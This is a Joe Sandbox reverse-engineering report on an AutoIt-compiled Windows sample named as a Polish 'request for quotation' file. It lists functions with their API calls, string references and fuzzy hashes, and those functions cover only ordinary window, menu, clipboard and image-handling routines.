Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619

Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 004593D7
DeleteObject.GDI32(?), ref: 004593F1
DestroyWindow.USER32(?), ref: 00459407
GetDesktopWindow.USER32 ref: 0045942A
GetWindowRect.USER32(00000000), ref: 00459431
SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
GetClientRect.USER32(00000000,?), ref: 004595C8
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
GlobalLock.KERNEL32(00000000), ref: 00459668
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
GlobalUnlock.KERNEL32(00000000), ref: 0045967F
CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
GlobalFree.KERNEL32(00000000), ref: 004596C0
CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
GetStockObject.GDI32(00000011), ref: 004597B7
SelectObject.GDI32(00000000,00000000), ref: 004597BF
GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
DeleteDC.GDI32(00000000), ref: 004597E1
_wcslen.LIBCMT ref: 00459800
_wcscpy.LIBCMT ref: 0045981F
CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
GetDC.USER32(?), ref: 004598DE
SelectObject.GDI32(00000000,?), ref: 004598EE
SelectObject.GDI32(00000000,?), ref: 00459919
ReleaseDC.USER32(?,00000000), ref: 00459925
MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951

Strings

static, xrefs: 00459606, 00459795
AutoIt v3, xrefs: 004595B5
, xrefs: 004598D6
DISPLAY, xrefs: 004597A4

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
String ID: $AutoIt v3$DISPLAY$static
API String ID: 4040870279-2373415609
Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69

Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 0046C635
IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
GetClipboardData.USER32(0000000D), ref: 0046C64F
CloseClipboard.USER32 ref: 0046C65D
GlobalLock.KERNEL32(00000000), ref: 0046C688
CloseClipboard.USER32 ref: 0046C692
IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
GetClipboardData.USER32(00000001), ref: 0046C6DD
GlobalLock.KERNEL32(00000000), ref: 0046C6EE
GlobalUnlock.KERNEL32(00000000), ref: 0046C726
CloseClipboard.USER32 ref: 0046C866

Strings

HH, xrefs: 0046C625

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
String ID: HH
API String ID: 589737431-2761332787
Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA

Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00456692
GetDesktopWindow.USER32 ref: 004566AA
GetWindowRect.USER32(00000000), ref: 004566B1
GetWindowLongW.USER32(?,000000F0), ref: 0045670D
GetWindowLongW.USER32(?,000000F0), ref: 00456720
DestroyWindow.USER32(?), ref: 00456731
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
IsWindowVisible.USER32(?), ref: 00456812
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
GetWindowRect.USER32(?,?), ref: 0045685C
MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
GetMonitorInfoW.USER32 ref: 00456894
CopyRect.USER32(?,?), ref: 004568A8
SendMessageW.USER32(?,00000412,00000000), ref: 0045690A

Strings

tooltips_class32, xrefs: 00456772
(, xrefs: 0045688C
,, xrefs: 00456642

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
String ID: ($,$tooltips_class32
API String ID: 541082891-3320066284
Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A

Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

GetWindowRect.USER32(?,?), ref: 004701EA
GetClientRect.USER32(?,?), ref: 004701FA
GetSystemMetrics.USER32(00000007), ref: 00470202
GetSystemMetrics.USER32(00000008), ref: 00470216
GetSystemMetrics.USER32(00000004), ref: 00470238
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
GetSystemMetrics.USER32(00000007), ref: 00470273
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
GetSystemMetrics.USER32(00000008), ref: 004702A8
GetSystemMetrics.USER32(00000004), ref: 004702CF
SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
GetClientRect.USER32(?,?), ref: 00470371
GetStockObject.GDI32(00000011), ref: 00470391
SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4

Strings

AutoIt v3 GUI, xrefs: 00470338

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
String ID: AutoIt v3 GUI
API String ID: 867697134-248962490
Opcode ID: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
Opcode Fuzzy Hash: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A

Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 0044A11D
GetClientRect.USER32(?,?), ref: 0044A18D
SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
GetWindowDC.USER32(?), ref: 0044A1B3
GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
ReleaseDC.USER32(?,00000000), ref: 0044A1D6
GetSysColor.USER32(0000000F), ref: 0044A1EC
GetWindowLongW.USER32(?,000000F0), ref: 0044A207
GetSysColor.USER32(0000000F), ref: 0044A216
GetSysColor.USER32(00000005), ref: 0044A21E
GetWindowDC.USER32 ref: 0044A277
GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
ReleaseDC.USER32(?,00000000), ref: 0044A2D8
SetTextColor.GDI32(00000000,?), ref: 0044A2F6
SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
GetStockObject.GDI32(00000005), ref: 0044A312
SetBkColor.GDI32(00000000,00000000), ref: 0044A328

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
String ID:
API String ID: 1744303182-0
Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A

Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043739E
__wcsicoll.LIBCMT ref: 00437451
LoadIconW.USER32(00000000,00007F04), ref: 00437467

Strings

blank, xrefs: 00437398
info, xrefs: 0043744B
warning, xrefs: 00437403
stop, xrefs: 004373E0
question, xrefs: 004373BD

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __wcsicoll$IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2485277191-404129466
Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD

Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
strncnt.LIBCMT ref: 00428646
strncnt.LIBCMT ref: 0042865A

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: strncnt$CompareErrorLastString
String ID:
API String ID: 1776594460-0
Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58

Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(?,00000063), ref: 004545DA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
SetWindowTextW.USER32(?,?), ref: 00454606
GetDlgItem.USER32(?,000003EA), ref: 0045461F
SetWindowTextW.USER32(00000000,?), ref: 00454626
GetDlgItem.USER32(?,000003E9), ref: 00454637
SetWindowTextW.USER32(00000000,?), ref: 0045463E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
GetWindowRect.USER32(?,?), ref: 00454688
SetWindowTextW.USER32(?,?), ref: 004546FD
GetDesktopWindow.USER32 ref: 00454708
GetWindowRect.USER32(00000000), ref: 0045470F
MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
GetClientRect.USER32(?,?), ref: 0045476F
PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55

Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00468107
GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
GetMenuItemCount.USER32(?), ref: 00468227
DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
GetMenuItemCount.USER32 ref: 004682DC
SetMenuItemInfoW.USER32 ref: 00468317
GetCursorPos.USER32(00000000), ref: 00468322
SetForegroundWindow.USER32(?), ref: 0046832D
TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352

Strings

0, xrefs: 004680FF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID: 0
API String ID: 3993528054-4108050209
Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B

Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON

Download Yara Rule

APIs

DragQueryPoint.SHELL32(?,?), ref: 0046F2DA

Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F

SendMessageW.USER32(?), ref: 0046F34C
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
_wcscat.LIBCMT ref: 0046F3BC
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
DragFinish.SHELL32(?), ref: 0046F414
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC

Strings

@GUI_DRAGID, xrefs: 0046F46E
@GUI_DROPID, xrefs: 0046F43A
@GUI_DRAGFILE, xrefs: 0046F4AA

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 4085615965-3440237614
Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA

Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045F4AE
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568

Strings

0, xrefs: 0045F4A6

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: InfoItemMenu$Sleep_memset
String ID: 0
API String ID: 1504565804-4108050209
Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A

Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00455127
GetMenuItemInfoW.USER32 ref: 00455146
DeleteMenu.USER32(?,?,00000000), ref: 004551B2
DeleteMenu.USER32(?,?,00000000), ref: 004551C8
GetMenuItemCount.USER32(?), ref: 004551D9
SetMenu.USER32(?,00000000), ref: 004551E7
DestroyMenu.USER32(?,?,00000000), ref: 004551F4
DrawMenuBar.USER32 ref: 00455207
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Strings

0, xrefs: 0045511F

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
